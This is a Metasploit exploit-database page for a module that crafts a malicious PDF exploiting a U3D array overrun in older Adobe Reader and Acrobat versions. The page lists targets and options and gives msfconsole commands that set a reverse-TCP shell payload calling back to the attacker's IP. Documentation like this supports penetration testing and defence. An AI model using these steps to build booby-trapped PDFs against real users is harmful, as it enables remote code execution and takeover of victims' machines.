Adobe U3D CLODProgressiveMeshDeclaration Array Overrun | Metasploit Exploit Database (DB)

Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

This module exploits an array overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a specially crafted pdf that a contains malformed U3D data, an attacker may be able to execute arbitrary code.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • Felipe Andres Manzano < felipe.andres.manzano [at] gmail.com >
  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Adobe Reader Windows Universal (JS Heap Spray) (default)
  • 1 - Adobe Reader Linux Universal (JS Heap Spray)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/fileformat/adobe_u3d_meshcont
msf exploit(adobe_u3d_meshcont) > show payloads
msf exploit(adobe_u3d_meshcont) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(adobe_u3d_meshcont) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_u3d_meshcont) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.pdf)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session